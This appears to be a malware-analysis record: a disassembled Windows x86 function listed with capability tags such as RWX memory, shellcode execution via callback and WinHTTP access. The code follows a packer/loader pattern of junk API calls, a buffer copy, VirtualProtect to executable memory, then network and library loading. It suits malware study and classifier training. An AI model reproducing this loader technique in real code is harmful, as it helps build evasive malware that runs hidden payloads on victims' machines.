Function at 0x405f2f
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via windows callback function
Get common file path
Initialize winhttp library
Read file on windows
Receive http response

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x102c
call fcn.00412650
push ebx
push esi
xor ebx, ebx
cmp dword [0x8a6e1c], 0x5b1
push edi
jne 0x405fb8
push ebx
lea eax, [ebp - 0x828]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.GDI32.dll_GetBitmapDimensionEx]
push ebx
call fcn.00406f57
pop ecx
push ebx
push ebx
push ebx
push ebx
call fcn.00406c6a
add esp, 0x10
lea esi, [ebp - 0x14]
call fcn.00405bb0
mov ecx, esi
call fcn.00405bd0
push ebx
call fcn.00406881
pop ecx
push ebx
call fcn.0040686b
pop ecx
push ebx
push ebx
call fcn.004064a1
pop ecx
pop ecx
push ebx
call fcn.004072e0
add dword [0x8a6e1c], 0x1134b
push dword [0x8a6e1c]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x87ffbc], eax
mov esi, 0x1e6cc
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x405fd9
lea eax, [ebp - 0x28]
push eax
push 0x40
push dword [0x8a6e1c]
push dword [0x87ffbc]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x206d47
jg 0x406032
inc edi
cmp edi, 0x4f6a4
jl 0x406014
xor edi, edi
cmp dword [0x8a6e1c], ebx
jbe 0x406084
cmp dword [0x8a6e1c], 0xa8
mov eax, dword [0x8a7880]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x87ffbc]
mov byte [ecx + edi], al
jne 0x40607b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push 0x405900
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
inc edi
cmp edi, dword [0x8a6e1c]
jb 0x40603c
xor esi, esi
mov eax, dword [0x8a6e1c]
add eax, esi
cmp eax, 0xe
jne 0x4060fb
push ebx
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x405934
push 0x405940
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push ebx
push ebx
lea eax, [ebp - 0x1028]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
xor eax, eax
mov word [ebp - 0x18], ax
lea edi, [ebp - 0x16]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x428]
push eax
push 0x405950
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
inc esi
cmp esi, 0x39621
jl 0x406086
call fcn.00405e5a
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x26
jne 0x40611c
call fcn.00405f15
inc edi
cmp edi, 0x6753f
jl 0x40610b
push 0x7b
pop esi
cmp dword [0x8a6e1c], 0x86
jne 0x406193
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x428]
push eax
push ebx
push 0x405988
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthW]
dec esi
jne 0x406128
push 0x4059c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
pop ebx
leave
ret